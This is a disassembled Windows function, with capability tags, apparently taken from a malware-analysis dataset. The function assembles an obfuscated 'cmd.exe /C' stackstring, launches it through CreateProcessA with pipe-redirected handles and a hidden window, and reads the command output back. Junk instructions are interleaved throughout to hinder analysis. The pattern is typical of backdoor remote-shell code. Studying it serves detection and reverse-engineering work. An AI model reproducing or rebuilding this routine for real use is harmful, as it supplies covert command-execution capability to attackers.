Function at 0x100319a0
Capabilities:
Contain obfuscated stackstrings
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create process suspended
Create thread
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10178535
mov eax, dword fs:[0]
push eax
mov eax, 0x10f4
call fcn.10117940
mov eax, dword [0x101ce2ac]
xor eax, ebp
mov dword [ebp - 0x24], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10dc], 0
test dh, dh
mov bl, bl
lea ecx, [ebp - 0x10d5]
call fcn.10036ce0
mov dword [ebp - 0x10e4], eax
mov eax, dword [ebp - 0x10e4]
mov dword [ebp - 0x10e8], eax
mov dword [ebp - 4], 1
mov ecx, dword [ebp - 0x10e8]
push ecx
lea ecx, [ebp - 0x7c]
call fcn.10011370
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x10d5]
call fcn.10003560
mov ch, ch
mov dword [ebp - 0xc8], 0
test ecx, ecx
xor edx, edx
mov dword [ebp - 0x64], edx
mov dword [ebp - 0x60], edx
mov dword [ebp - 0x5c], edx
test esi, esi
mov dword [ebp - 0x64], 0xc
push ebx
pop ebx
mov dword [ebp - 0x60], 0
push edx
pop edx
mov dword [ebp - 0x5c], 1
test dh, dh
push 0
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.DLL_CreatePipe]
test eax, eax
jne 0x10031a9c
lea eax, [ebp - 0x7c]
push eax
mov ecx, dword [ebp + 8]
call fcn.1000cf10
mov ecx, dword [ebp - 0x10dc]
or ecx, 1
mov dword [ebp - 0x10dc], ecx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x7c]
call fcn.10006e00
mov eax, dword [ebp + 8]
jmp 0x10031dcb
cmp dword [ebp + 0x14], 0
je 0x10031af7
mov edx, dword [ebp + 0x14]
mov dword [ebp - 0x10ec], edx
mov eax, dword [ebp - 0x10ec]
add eax, 1
mov dword [ebp - 0x10f0], eax
mov ecx, dword [ebp - 0x10ec]
mov dl, byte [ecx]
mov byte [ebp - 0x10f1], dl
add dword [ebp - 0x10ec], 1
cmp byte [ebp - 0x10f1], 0
jne 0x10031aba
mov eax, dword [ebp - 0x10ec]
sub eax, dword [ebp - 0x10f0]
mov dword [ebp - 0x10f8], eax
je 0x10031af7
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 0xc8], ecx
test ah, ah
mov dl, dl
push ecx
pop ecx
push 0x44
push 0
lea edx, [ebp - 0xc4]
push edx
call fcn.10117df0
add esp, 0xc
mov edx, edx
xor eax, eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov al, al
mov dword [ebp - 0xc4], 0x44
mov cl, cl
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x84], ecx
test dh, dh
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x88], edx
push ecx
pop ecx
mov word [ebp - 0x94], 0
test ebx, ebx
mov dword [ebp - 0x98], 0x101
test edx, edx
mov byte [ebp - 0x58], 0x63
mov byte [ebp - 0x57], 0x6d
mov byte [ebp - 0x56], 0x64
mov byte [ebp - 0x55], 0x2e
mov byte [ebp - 0x54], 0x65
mov byte [ebp - 0x53], 0x78
mov byte [ebp - 0x52], 0x65
mov byte [ebp - 0x51], 0x20
mov byte [ebp - 0x50], 0x2f
mov byte [ebp - 0x4f], 0x43
mov byte [ebp - 0x4e], 0x20
mov byte [ebp - 0x4d], 0
mov ebp, ebp
lea ecx, [ebp - 0x10d6]
call fcn.10036ce0
mov dword [ebp - 0x10fc], eax
mov eax, dword [ebp - 0x10fc]
mov dword [ebp - 0x1100], eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x1100]
push ecx
lea edx, [ebp - 0x58]
push edx
lea ecx, [ebp - 0x3c]
call fcn.100085b0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x10d6]
call fcn.10003560
test edx, edx
mov eax, dword [ebp + 0x10]
push eax
lea ecx, [ebp - 0x3c]
call fcn.10011940
push ebx
pop ebx
lea ecx, [ebp - 0x4c]
push ecx
lea edx, [ebp - 0xc4]
push edx
mov eax, dword [ebp - 0xc8]
push eax
push 0
push 0
push 1
push 0
push 0
lea ecx, [ebp - 0x3c]
call fcn.1000c560
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
jne 0x10031c65
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
test eax, 0x297b
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
test edi, edi
lea eax, [ebp - 0x7c]
push eax
mov ecx, dword [ebp + 8]
call fcn.1000cf10
mov ecx, dword [ebp - 0x10dc]
or ecx, 1
mov dword [ebp - 0x10dc], ecx
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x3c]
call fcn.10006e00
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x7c]
call fcn.10006e00
mov eax, dword [ebp + 8]
jmp 0x10031dcb
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov al, al
mov dword [ebp - 0xcc], 0
mov bh, bh
mov edx, edx
cmp dword [ebp + 0x18], 0
jle 0x10031cdc
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c], eax
mov cl, cl
mov ecx, dword [ebp + 0x18]
mov dword [ebp - 0x18], ecx
mov edi, edi
mov dword [ebp - 0x14], 0
test ch, ch
call fcn.100408d0
mov dword [ebp - 0xd0], eax
nop
push 0
push 0
lea edx, [ebp - 0x1c]
push edx
push 0x1002e140
push 0
push 0
call fcn.1011944f
add esp, 0x18
mov dword [ebp - 0xcc], eax
test ah, ah
mov eax, dword [ebp - 0xd0]
push eax
call fcn.10040990
add esp, 4
test cl, cl
mov ecx, 1
test ecx, ecx
je 0x10031d39
test ebx, ebx
mov ebx, ebx
push 0x1000
push 0
lea edx, [ebp - 0x10d4]
push edx
call fcn.10117df0
add esp, 0xc
mov edx, edx
push 0
lea eax, [ebp - 0xd4]
push eax
push 0xfff
lea ecx, [ebp - 0x10d4]
push ecx
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x10031d26
jmp 0x10031d39
lea eax, [ebp - 0x10d4]
push eax
lea ecx, [ebp - 0x7c]
call fcn.10011940
push edx
pop edx
jmp 0x10031cdc
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov bh, bh
mov edx, dword [ebp - 0x48]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ebx
pop ebx
cmp dword [ebp + 0x18], 0
jle 0x10031d89
cmp dword [ebp - 0xcc], 0
je 0x10031d89
mov dword [ebp - 0x14], 1
push edx
pop edx
push 0xffffffffffffffff
mov eax, dword [ebp - 0xcc]
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push ecx
pop ecx
mov ecx, dword [ebp - 0xcc]
push ecx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, eax
mov edx, dword [ebp - 0x4c]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
test al, al
lea eax, [ebp - 0x7c]
push eax
mov ecx, dword [ebp + 8]
call fcn.1000cf10
mov ecx, dword [ebp - 0x10dc]
or ecx, 1
mov dword [ebp - 0x10dc], ecx
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x3c]
call fcn.10006e00
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x7c]
call fcn.10006e00
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.10116cb9
mov esp, ebp
pop ebp
ret